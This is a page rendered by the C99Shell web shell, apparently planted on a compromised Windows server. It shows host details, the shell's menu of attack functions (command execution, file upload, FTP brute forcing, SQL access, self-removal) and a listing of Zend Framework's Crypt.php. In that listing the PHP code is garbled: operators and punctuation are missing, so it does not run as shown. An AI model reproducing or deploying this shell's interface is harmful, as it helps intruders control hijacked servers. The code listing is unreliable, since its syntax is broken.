!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\php\PEAR\Zend\   drwxrwxrwx
Free 7.26 GB of 239.26 GB (3.04%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Crypt.php (4.39 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Crypt
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 * @version    $Id: Crypt.php 16971 2009-07-22 18:05:45Z mikaelkael $
 */

/**
 * @category   Zend
 * @package    Zend_Crypt
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */
class Zend_Crypt
{

    const 
TYPE_OPENSSL 'openssl';
    const 
TYPE_HASH 'hash';
    const 
TYPE_MHASH 'mhash';

    protected static 
$_type null;

    
/**
     * @var array
     */
    
protected static $_supportedAlgosOpenssl = array(
        
'md2',
        
'md4',
        
'mdc2',
        
'rmd160',
        
'sha',
        
'sha1',
        
'sha224',
        
'sha256',
        
'sha384',
        
'sha512'
    
);

    
/**
     * @var array
     */
    
protected static $_supportedAlgosMhash = array(
        
'adler32',
        
'crc32',
        
'crc32b',
        
'gost',
        
'haval128',
        
'haval160',
        
'haval192',
        
'haval256',
        
'md4',
        
'md5',
        
'ripemd160',
        
'sha1',
        
'sha256',
        
'tiger',
        
'tiger128',
        
'tiger160'
    
);

    
/**
     * @param string $algorithm
     * @param string $data
     * @param bool $binaryOutput
     * @return unknown
     */
    
public static function hash($algorithm$data$binaryOutput false)
    {
        
$algorithm strtolower($algorithm);
        if (
function_exists($algorithm)) {
            return 
$algorithm($data$binaryOutput);
        }
        
self::_detectHashSupport($algorithm);
        
$supportedMethod '_digest' ucfirst(self::$_type);
        
$result self::$supportedMethod($algorithm$data$binaryOutput);
    }

    
/**
     * @param string $algorithm
     * @throws Zend_Crypt_Exception
     */
    
protected static function _detectHashSupport($algorithm)
    {
        if (
function_exists('hash')) {
            
self::$_type self::TYPE_HASH;
            if (
in_array($algorithmhash_algos())) {
               return;
            }
        }
        if (
function_exists('mhash')) {
            
self::$_type self::TYPE_MHASH;
            if (
in_array($algorithmself::$_supportedAlgosMhash)) {
               return;
            }
        }
        if (
function_exists('openssl_digest')) {
            if (
$algorithm == 'ripemd160') {
                
$algorithm 'rmd160';
            }
            
self::$_type self::TYPE_OPENSSL;
            if (
in_array($algorithmself::$_supportedAlgosOpenssl)) {
               return;
            }
        }
        
/**
         * @see Zend_Crypt_Exception
         */
        
require_once 'Zend/Crypt/Exception.php';
        throw new 
Zend_Crypt_Exception('\'' $algorithm '\' is not supported by any available extension or native function');
    }

    
/**
     * @param string $algorithm
     * @param string $data
     * @param bool $binaryOutput
     * @return string
     */
    
protected static function _digestHash($algorithm$data$binaryOutput)
    {
        return 
hash($algorithm$data$binaryOutput);
    }

    
/**
     * @param string $algorithm
     * @param string $data
     * @param bool $binaryOutput
     * @return string
     */
    
protected static function _digestMhash($algorithm$data$binaryOutput)
    {
        
$constant constant('MHASH_' strtoupper($algorithm));
        
$binary mhash($constant$data);
        if (
$binaryOutput) {
            return 
$binary;
        }
        return 
bin2hex($binary);
    }

    
/**
     * @param string $algorithm
     * @param string $data
     * @param bool $binaryOutput
     * @return string
     */
    
protected static function _digestOpenssl($algorithm$data$binaryOutput)
    {
        if (
$algorithm == 'ripemd160') {
            
$algorithm 'rmd160';
        }
        return 
openssl_digest($data$algorithm$binaryOutput);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--